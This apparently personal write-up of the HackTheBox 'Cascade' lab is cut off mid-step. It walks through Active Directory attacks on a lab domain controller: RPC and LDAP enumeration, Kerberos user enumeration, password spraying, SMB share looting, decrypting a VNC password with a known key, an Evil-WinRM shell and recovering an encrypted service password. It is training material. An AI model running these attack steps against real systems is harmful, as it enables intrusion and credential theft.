

70 HTB CASCADE

[HTB] CASCADE

by [Pablo](#)

Objectives:

1. **RPC** Enumeration
2. User Enumeration via Kerberos - Kerbrute
3. ASREPROast Attack - GetNPUsers.py (Failed)
4. **LDAP** Enumeration - ldapsearch && ldapdomaindump
5. **SMB** Enumeration - smbclient && smbmap
6. Cracking TightVNC Password - vncpwd
7. Kerberoasting Attack - GetUserSPNs.py (Failed)
8. Abusing WinRM - EvilWinRM
9. Enumerating SQLite3 Database **File**
10. Analysis of Windows **EXE** binary
11. Installing DotPeek on a Windows virtual machine
12. Reverse engineering the **CBC** cipher - Obtaining clear text passwords
13. Abusing **AD** Recycle Bin Group - Active Directory **Object** Recovery (Get-ADObject) [Privilege Escalation]
14. **EXTRA:** Chisel Remote Port Forwarding (**RDP** + Remmina)

1. **We will be need a Windows 10 vm for this hack on HTB Cascade.**
2. **We do the normal nmap thing.**
3. **Port 135 is open RPC. So I try RpcClient nullsession.**

1. We are able to connect and download 'enumdomusers'
2.

```
▷ rpcclient -U "" 10.10.10.182 -N
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
```
2. Since we have a list of users we can use Kerbrute to see which are valid and GetUserSPNs.py to see if any are ASREP Roastable.
3. We run RpcClient again to see if we can access 0x200 which is 'Domain Admins' but we get access denied.
4.

```
▷ rpcclient -U "" 10.10.10.182 -N -c "enumdomgroups"
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
```
5.

```
▷ rpcclient -U "" 10.10.10.182 -N -c "querygroupmem 0x200"
result was NT_STATUS_ACCESS_DENIED
```
6.

```
▷ rpcclient -U "" 10.10.10.182 -N -c "querydispinfo"
```

4. **We need to clean the rid file. We can validate the users using Kerbrute.**

1.

```
~/hackthebox/cascade ▷ cat userslist | grep -oP '[. *?\\]' | grep -v "0x" | tr -d '[]' > users
```
2.

```
▷ jbat users
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
```

```
BackupSvc
j.allen
i.croft
```

5. **kerbrute** to validate the users. I use the `--downgrade` flag encase it spits back any ASREP Roastable account hash.

```

> kerbrute userenum --dc 10.10.10.182 -d cascade.local users --downgrade

      --      --      --
    / / _ _ _ _ _ / / _ _ _ _ _ / / _ _ _ _ _
  / // _ / _ \ / _ _ / _ _ \ / _ _ / / / / _ _ / _ \
 / , < / _ _ / / / _ / / / / / _ / / _ / / _ / _ _ /
/_/|_| \ _ _ _ / _ / _ . _ _ _ / _ / _ _ _ , _ / \ _ _ / \ _ _ _ /

Version: dev (n/a) - 10/21/23 - Ronnie Flathers @ropnop

2023/10/21 21:46:43 > Using downgraded encryption: arcfour-hmac-md5
2023/10/21 21:46:43 > Using KDC(s):
2023/10/21 21:46:43 > 10.10.10.182:88

2023/10/21 21:46:48 > [+] VALID USERNAME:      j.wakefield@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      arksvc@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      a.turnbull@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      util@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      r.thompson@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      j.goodhand@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      s.hickson@cascade.local
2023/10/21 21:46:48 > [+] VALID USERNAME:      s.smith@cascade.local
2023/10/21 21:46:54 > [+] VALID USERNAME:      d.burman@cascade.local
2023/10/21 21:46:54 > [+] VALID USERNAME:      j.allen@cascade.local
2023/10/21 21:46:54 > [+] VALID USERNAME:      BackupSvc@cascade.local
2023/10/21 21:46:54 > Done! Tested 15 usernames (11 valid) in 10.579 seconds
```

1. **Seems they are all valid users.**

GetNPUsers.py

6. **We try** `GetNPUsers.py` **on the users list we got from RpcClient.**

```
(.venv) ~/python_projects/.impacketgit/impacket/examples (master ✖)★ > ./GetNPUsers.py cascade.local/ -no-pass -
usersfile ~/hackthebox/cascade/users
.....
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
```

1. **FAIL**

We need a password for these valid users to run a *Kerberoasting attack* using `GetUserSPNs.py`

7. **If we can get credentials for any of these valid users then we can do a** `GetUserSPNs.py` **. Which is a** `Kerberoasting` **attack.**

If you keep failing go down the list of vulnerable ports from your *Nmap scan* . Next we will try 445

`smb`

8. ***smbclient nullsession* attempt since we still don't have a password.**

```
1. > smbclient -L 10.10.10.182 -N
Anonymous login successful
```

Sharename	Type	Comment
-----	----	-----
SMB1 disabled -- no workgroup available		
2. There probably are shares but it will not show them without valid credentials.		

Password Spray with CrackMapExec no Brute Force using users names

9. Since we have no passwords you can do a password spray with the users list and copy it to a password list and see if anyone has the username as a password. This is highly unlikely to ever happen in the real world. There is much more of a chance that they have weak credentials than having the username as the password, but for lab purposes lets try it.

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) ▷ crackmapexec smb 10.10.10.182 -u /home/pepe/hackthebox/cascade/users -p /home/pepe/hackthebox/cascade/passwords --no-bruteforce
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC [-] cascade.local\CascGuest:CascGuest STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\arksvc:arksvc STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\s.smith:s.smith STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\r.thompson:r.thompson STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\util:util STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\j.wakefield:j.wakefield STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\s.hickson:s.hickson STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\j.goodhand:j.goodhand STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\a.turnbull:a.turnbull STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\e.crowe:e.crowe STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\b.hanson:b.hanson STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\d.burman:d.burman STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\BackupSvc:BackupSvc STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\j.allen:j.allen STATUS_LOGON_FAILURE
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\i.croft:i.croft STATUS_LOGON_FAILURE
```

FAIL, I didn't think it would work in a way i am glad it did not it makes this much more realistic!

CME Brute Force

S4vitar wants to do a brute force. I would never recommend this because most of the time this will block you or lockout the accounts.

10. To do a brute force with all the username in the password list just remove the --no-bruteforce flag.

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) ▷ crackmapexec smb 10.10.10.182 -u /home/pepe/hackthebox/cascade/users -p /home/pepe/hackthebox/cascade/passwords
2. FAIL, not one came back. I did not think any would.
```

Lets try RpcClient "querydispinfo" to see if we can get any info

11. querydispinfo

```
1. ▷ rpccllient -U "" 10.10.10.182 -N -c "querydispinfo"
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson Name: Ben Hanson Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman Name: David Burman
2. SUCCESS, we get a guest access for the 'CascGuest'. So S4vitar tries a guess at the password as 'guest'
```

12. We run CrackMapExec with the creds Cascguest:guest.

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) ▷ crackmapexec smb 10.10.10.182 -u 'CascGuest' -p 'guest'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\CascGuest:guest .STATUS_LOGON_FAILURE
```

LdapSearch WithOut Credentials!!!

- #pwn_ldapsearch_without_credentials
- #pwn_LdapSearch_no_credentials

13. OK, that was a FAIL lets try LdapSearch.

```
1. > ldapsearch -H ldap://10.10.10.182 -D 'ldap@cascade.local' -b "DC=cascade,DC=local"
2. (WORKED FOR THE HTB CASCADE BOX NO CREDENTIALS!!! YOU HAVE TO WRITE ldap@the_hostname)
3. SUCCESS!!!
4. BTW, the below does not work do not even bother trying it this way.
5. > ldapsearch -x -h 10.10.10.182 -b "DC=cascade,DC=local" <<< .FAILS
```

14. Now you can grep on the LdapSearch dump file like this

```
1. > grep -iR "sam" ldapsearch_dump.txt 2>/dev/null
```

LdapDomainDump requires CREDs

3. He was trying to see if we could run LdapDomainDump without any credentials and I do not think it is possible even though in the --help it says you can do anonymous by just removing the username.

```
1. > ldapdomaindump -u 'cascade.local\' -p '' 10.10.10.182 -o ldapdomaindump.out
2. raise LDAPUnknownAuthenticationMethodError(self.last_error)
ldap3.core.exceptions.LDAPUnknownAuthenticationMethodError: NTLM needs domain\username and a password
3. > ldapdomaindump --help | grep -i -A4 -B4 "anon"
-u USERNAME, --user USERNAME
                        DOMAIN\username for authentication, leave empty for
                        .anonymous authentication
4. Says you can do but it does not work
```

Random Tangent about SIDs on Active Directory

4. I dumped a bunch of Ldap stuff using LdapSearch and it has what looks like the SIDs encoded in base64 but they are not. Decrypting Windows AD SID. It looks like it is in base 64 or that you can reverse it with `base64 -d | xxd -r`, but I don't think that is possible. Here is what the SID will look like if you search it with LdapSearch.

```
1. objectGUID:: Q4wKe0ng20ia/u5wrC0r2g==
objectSid:: AQUAAAAAAAAUVAAMvuhxgsd8Uf1yHJFcgQAAA==
sAMAccountName: Data Share
sAMAccountType: 536870912
2. To decrypt this SID is a pain. There is an article about it in HTB Scrambled box. I also have notes on it
under '#1337_SID_decryption'
```

CrackMapExec r.thompson

5. We found a base64 encoded password in the ldapsearch dump for r.thompson.

```
1. > echo "clk0bjVldmE=" | base64 -d; echo
rY4n5eva
2. Lets validate it with CrackMapExec
3. SUCCESS!!!
4. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva'
[+] cascade.local\r.thompson:rY4n5eva
```

CrackMapExec List Shares!!!

- #pwn_crackmapexec_List_Shares

6. I didn't even know you could list shares with CrackMapExec.

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva' --shares
```

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'CascGuest' -p 'guest'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [-] cascade.local\CascGuest:guest STATUS_LOGON_FAILURE
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --shares
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
SMB 10.10.10.182 445 CASC-DC1 [+] Enumerated shares
SMB 10.10.10.182 445 CASC-DC1 Share Permissions Remark
SMB 10.10.10.182 445 CASC-DC1 -----
SMB 10.10.10.182 445 CASC-DC1 ADMIN$ Remote Admin
SMB 10.10.10.182 445 CASC-DC1 Audit$
SMB 10.10.10.182 445 CASC-DC1 C$ Default share
SMB 10.10.10.182 445 CASC-DC1 Data READ
SMB 10.10.10.182 445 CASC-DC1 IPC$ Remote IPC
SMB 10.10.10.182 445 CASC-DC1 NETLOGON READ Logon server share
SMB 10.10.10.182 445 CASC-DC1 print$ READ Printer Drivers
SMB 10.10.10.182 445 CASC-DC1 SYSVOL READ Logon server share
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) > |
```


7. We try a *kerberoasting attack* now that we have credentials but it fails there are no *Kerberoastable* users on this domain.

```
1. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✕)★ ▷ ./GetUserSPNs.py
cascade.local/r.thompson:rY4n5eva
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

No entries found!
2. If there would have been a user found you would add the -request flag to our command, example below.
3. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✕)★ ▷ ./GetUserSPNs.py
cascade.local/r.thompson:rY4n5eva -request
```

8. *SMBMAP* but it doesn't show anything different than using *CrackMapExec* with the `--shares` flag.

```
1. ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner
2. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva' --shares
3. We can Read on "Data" share but CME found that earlier.
4. ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner -r Data
.....
dr--r--r--          0 Tue Jan 28 16:05:51 2020      .
dr--r--r--          0 Tue Jan 28 16:05:51 2020      ..
dr--r--r--          0 Sun Jan 12 19:45:14 2020      Contractors
dr--r--r--          0 Sun Jan 12 19:45:10 2020      Finance
dr--r--r--          0 Tue Jan 28 12:04:51 2020      IT
dr--r--r--          0 Sun Jan 12 19:45:20 2020      Production
dr--r--r--          0 Sun Jan 12 19:45:16 2020      Temps
5. ~/hackthebox/cascade ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner -r 'Data/IT/Email
Archives'
..... [ + ] IP: 10.10.10.182:445
Name: cascade.local      Status: Authenticated
Disk                      Permissions      Comment
----                      -
Data                      READ ONLY
.\Data\IT\Email Archives\*
dr--r--r--          0 Tue Jan 28 12:00:30 2020      .
dr--r--r--          0 Tue Jan 28 12:00:30 2020      ..
fr--r--r--      2522 Tue Jan 28 12:00:30 2020      Meeting_Notes_June_2018.html
```

Too many directories so we mount the remote share Data.

9. My noobness is showing here can't get mount to work. lol. Too many directories in the *SMB* shares. I wanted to show the entire output of mounting the remote share. We get a permission denied even though I *chowned* the directory `/mnt` to myself *it still denies me when I run the mount command*.

```
1. ~/hackthebox/cascade ▷ sudo chown pepe:pepe -R /mnt/
2. /mnt ▷ mount -t cifs //10.10.10.182/Data /mnt/mounted_share -o
username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
3. mount.cifs: permission denied: no match for /mnt/mounted_share found in /etc/fstab
4. /mnt ▷ unlock_root.sh
.....UNLOCKING ROOT AND SENSITIVE FILES .....
ROOT ACCOUNT LOCKED :! UNLOCKED :$
[sudo] password for pepe:
root:~!
Attempting to remove IMMUTABLE attributes from PASSWD file.
Passwd file IMMUTABLE attribute successfully removed.
----- /etc/passwd
Attempting to remove the IMMUTABLE attribute from the SHADOW file...
SHADOW file IMMUTABLE attribute successfully removed.
----- /etc/shadow
Attempting to UNLOCK the ROOT account...
passwd: password changed.
ROOT account was successfully UNLOCKED!
Attempting to UNLOCK the ROOT SHELL...
ROOT SHELL successfully UNLOCKED!
root:x:0:0::/root:/usr/bin/zsh
ROOT SUCCESSFULLY UNLOCKED IF YOU SEE $
root:$
1. /mnt ▷ sudo su -
2. [root@h3lix]-[~]
>>> pwd
/root
3. [root@h3lix]-[~]
>>> mount -t cifs //10.10.10.182/Data /mnt/mounted_share -o
username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
4. [root@h3lix]-[~]
>>> cd /mnt
```

```
5. [root@h3lix]-[/mnt]
>>> ls
6. mounted_share
7. [root@h3lix]-[/mnt]
>>> cd mounted_share
8. [root@h3lix]-[/mnt/mounted_share]
>>> ls
Contractors  Finance  IT  Production  Temps
```

10. Enumerate the remote mount share Data

```
1. tree
2. [root@h3lix]-[/mnt/mounted_share]
>>> tree
.
├── Contractors
├── Finance
├── IT
│   ├── Email Archives
│   │   └── Meeting_Notes_June_2018.html
│   ├── LogonAudit
│   ├── Logs
│   │   ├── Ark AD Recycle Bin
│   │   │   └── ArkAdRecycleBin.log
│   │   └── DCs
│   │       └── dcdiag.log
│   └── Temp
│       ├── r.thompson
│       ├── s.smith
│       └── VNC Install.reg
├── Production
└── Temps

14 directories, 4 files
3. [root@h3lix]-[/mnt/mounted_share]
>>> tree -fas
[      4096]  .
├── [          0]  ./Contractors
├── [          0]  ./Finance
├── [          0]  ./IT
│   ├── [          0]  ./IT/Email Archives
│   │   └── [      2522]  ./IT/Email Archives/Meeting_Notes_June_2018.html
│   ├── [          0]  ./IT/LogonAudit
│   ├── [          0]  ./IT/Logs
│   │   ├── [          0]  ./IT/Logs/Ark AD Recycle Bin
│   │   │   └── [      1303]  ./IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
│   │   └── [          0]  ./IT/Logs/DCs
│   │       └── [      5967]  ./IT/Logs/DCs/dcdiag.log
│   └── [          0]  ./IT/Temp
│       ├── [          0]  ./IT/Temp/r.thompson
│       ├── [          0]  ./IT/Temp/s.smith
│       └── [      2680]  ./IT/Temp/s.smith/VNC Install.reg
├── [          0]  ./Production
└── [          0]  ./Temps

14 directories, 4 files
4. [root@h3lix]-[/mnt/mounted_share/IT/Email Archives]
>>> cp Meeting_Notes_June_2018.html /home/pepe/hackthebox/cascade/index.html
5. **From:**                               Steve Smith

**To:**                                     IT (Internal)

**Sent:**                                  14 June 2018 14:07

**Subject:**                               Meeting Notes

For anyone that missed yesterday’s meeting (I’m looking at you Ben). Main points are below:

-- New production network will be going live on Wednesday so keep an eye out for any issues.

-- We will be using a temporary account to perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).

-- The winner of the “Best GPO” competition will be announced on Friday so get your submissions in soon.
```

11. Since arksvc is a member of the Recycle Bin Group. We can become that user and grab any deleted files. Do a google search for powershell Get-ADObject deleted object.

1. I can not find the site he is on
2. <https://www.shellandco.net/list-the-deleted-objects/>
3. I found it here:
4. <https://social.technet.microsoft.com/Forums/scriptcenter/en-US/5424e204-d601-4330-a7ed-331134e47e18/filter-deleted-users-in-getadobject-cmdlet-also-returns-deleted-computers>

12. After enumerating the remote share we find a credential

1. ~/hackthebox/cascade ▷ echo "6bcf2a4b6e5aca0f" | xxd -ps -r | xxd
00000000: 6bcf 2a4b 6e5a ca0f k.*KnZ..
2. But it does not decode well. I think there is a way to decode vnc view passwords.

- #pwn_decrypt_vnc_hex_encoded_passwords_windows
- #pwn_decrypt_hex_encoded_passwords_windows

13. Google for vnc view decrypted password github

```
# [VNCDecrypt](https://github.com/billchaison/VNCDecrypt#vncdecrypt)
```

Decrypt passwords stored in VNC files

VNC stores passwords as a hex string in *.vnc files using a default encryption key. The following openssl one-liner can be used to decrypt the string:

Assume the string from the .vnc file is d7a514d8c556aade

```
echo -n d7a514d8c556aade | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
```

The output will look like this:

```
00000000 53 65 63 75 72 65 21 00 |Secure!.|
00000008
```

14. I followed instructions lol and the password is sT333ve2.

```
▷ echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
00000000 73 54 33 33 33 76 65 32 |sT333ve2|
00000008
```

15. Let's try CrackMapExec to validate this password we found and spray it against our users list.

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✓) ▷ crackmapexec winrm 10.10.10.182 -u ~/hackthebox/cascade/users -p 'sT333ve2' --continue-on-success
SMB 10.10.10.182 5985 CASC-DC1 [*] Windows 6.1 Build 7601 (name:CASC-DC1)
(domain:cascade.local)
HTTP 10.10.10.182 5985 CASC-DC1 [*] http://10.10.10.182:5985/wsman
WINRM 10.10.10.182 5985 CASC-DC1 [-] cascade.local\CascGuest:sT333ve2
WINRM 10.10.10.182 5985 CASC-DC1 [-] cascade.local\arksvc:sT333ve2
WINRM 10.10.10.182 5985 CASC-DC1 [+] cascade.local\s.smith:sT333ve2 (.Pwn3d!)
2. SUCCESS, we have a .Pwn3d!
```

16. Evil-winrm after we check out ldapdomaindump again and see that s.smith is a part of remote management users.

```
~ ▷ evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
```

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

```
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
```

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> type user.txt
```

```
a2e67d300957b6b42b88f2e8fc44b3f6
```

Left off 01:49:20

- #pwn_powershell_command_net_localgroup
- #pwn_powershell_net_localgroup

17. Lets enumerate the windows target now with our powershell session as s.smith

1. *Evil-WinRM* PS C:\Users> net localgroup "Audit Share"
Alias name Audit Share
Comment \\Casc-DC1\Audit\$
2. I think this might be the same as the windows 'hostname' command.
3. *Evil-WinRM* PS C:\Users> hostname

```
CASC-DC1
4. *Evil-WinRM* PS C:\Users> net share
Access is denied.
```

18. lets try *smbmap* with the *s.smith* credentials. We did it last time with *r.thompson* now lets see if we can find any new shares with *s.smith*.

```
1. > smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2' --no-banner

[+] IP: 10.10.10.182:445      Name: cascade.local      Status: Authenticated
    Disk      Permissions      Comment
    ----      -
    ADMIN$     NO ACCESS      Remote Admin
    Audit$     READ ONLY
    C$         NO ACCESS      Default share
    Data       READ ONLY
    IPC$       NO ACCESS      Remote IPC
    NETLOGON   READ ONLY      Logon server share
    print$     READ ONLY      Printer Drivers
    SYSVOL     READ ONLY      Logon server share

2. > smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2' -r 'Audit$' --no-banner
    fr--r--r--      13312 Tue Jan 28 15:47:08 2020  CascAudit.exe
    fr--r--r--      12288 Wed Jan 29 12:01:26 2020  CascCrypto.dll
    dr--r--r--         0 Tue Jan 28 15:43:18 2020  DB
    fr--r--r--         45 Tue Jan 28 17:29:47 2020  RunAudit.bat
    fr--r--r--      363520 Tue Jan 28 14:42:18 2020  System.Data.SQLite.dll
    fr--r--r--      186880 Tue Jan 28 14:42:18 2020  System.Data.SQLite.EF6.dll
    dr--r--r--         0 Tue Jan 28 14:42:18 2020  x64
    dr--r--r--         0 Tue Jan 28 14:42:18 2020  x86

3.
```

smbclient prompt off mget

- #pwn_smbclient_prompt_off_mget
- #pwn_smbclient_mget_prompt_off
- #pwn_smbclient_recurse_on_mget

19. He decides to use *smbclient* to connect.

```
1. ~/hackthebox/cascade > mkdir smbclient_download
2. ~/hackthebox/cascade > cd smbclient_download
3. ~/hackthebox/cascade/smbclient_download > smbclient //10.10.10.182/Audit$ -U 's.smith%sT333ve2'
Try "help" to get a list of possible commands.
>>>smb: \> prompt off
>>>smb: \> recurse ON
>>>smb: \> mget *
getting file \CascAudit.exe of size 13312 as CascAudit.exe (17.3 KiloBytes/sec) (average 17.3 KiloBytes/sec)
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (20.9 KiloBytes/sec) (average 18.9 KiloBytes/sec)
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.1 KiloBytes/sec) (average 13.3 KiloBytes/sec)
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (326.3 KiloBytes/sec) (average 127.7 KiloBytes/sec)
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (289.2 KiloBytes/sec) (average 156.0 KiloBytes/sec)
getting file \DB\Audit.db of size 24576 as DB\Audit.db (35.1 KiloBytes/sec) (average 136.7 KiloBytes/sec)
getting file \x64\SQLite.Interop.dll of size 1639936 as x64\SQLite.Interop.dll (1462.6 KiloBytes/sec) (average 406.2 KiloBytes/sec)
getting file \x86\SQLite.Interop.dll of size 1246720 as x86\SQLite.Interop.dll (479.1 KiloBytes/sec) (average 429.6 KiloBytes/sec)
>>>smb: \>
```

- #pwn_SQLite3_knowledge_base

20. *SqlLite3*, we do some enumeration on Audit.db file we find from the `mget *` we just did.

```
1. > sqlite3 Audit.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
2. sqlite> .tables
DeletedUserAudit  Ldap      Misc
3. sqlite> select * from DeletedUsersAudit;
Parse error: no such table: DeletedUsersAudit
4. sqlite> select * from DeletedUserAudit;
|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted
Objects,DC=cascade,DC=local
|deleted|deleted guy
```



```
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted
Objects,DC=cascade,DC=local
|TempAdmin|TempAdmin
5. sqlite> select * from Ldap
...>
...> exit
...> quit()
...> exit
Program interrupted.
6. > sqlite3 Audit.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
7. sqlite> .tables
DeletedUserAudit  Ldap          Misc
8. sqlite> select * from Ldap;
|ArkSvc|BQ05l5Kj9MderXx6Q6AG0w==|cascade.local
```

- [#pwn_strings_for_windows_executables](#)
- [#pwn_strings_windows_for_exe_files](#)

21. **We do a strings on the the Audit.exe file with `-t x` flags for `Windows executables`.**

```
1. > strings CascAudit.exe -t -x
2. FAIL
3. > strings CascAudit.exe -t x
4. SUCCESS!!!
5. Works even better with the '-e l' flags
6. > strings CascAudit.exe -e l
7. I think we found a password.
.....
SELECT * FROM LDAP
Uname
Domain
'c4scadek3y654321'
Error decrypting password:
Error getting LDAP connection data From database:
(&(isDeleted=TRUE)(objectclass=user))
sAMAccountName
distinguishedName
```

DotPeek an awesome reverse engineering tool for Windows binaries. Exe, dll, etcetera

- [#pwn_dotpeek_knowledge_base](#)

22. **DotPeek, we reverse engineered the `CascAudit.exe` password using this awesome tool `DotPeek`. You have to install and do this on Windows this will not work on Linux.**

```
1. Download from https://www.jetbrains.com/decompiler/download//#section=web-installer
2. Simple to install. Install as administrator on Windows 10.
3. File open navigate to any binary exe,dll, etcetera.
4. In this example we needed the following to decrpyt the password.
.....
key -> c4scadek3654321
iv -> 1tdyCbYlIx49842
password -> BQ05l5Kj9MderXx6Q6AG0w==
5. We get the password from the sqlite3 enumeration.
6. sqlite> select * from Ldap;
7. We get the 'key' and 'iv' from reverse engineering CascAudit.exe we got from downloading with smbclient. We
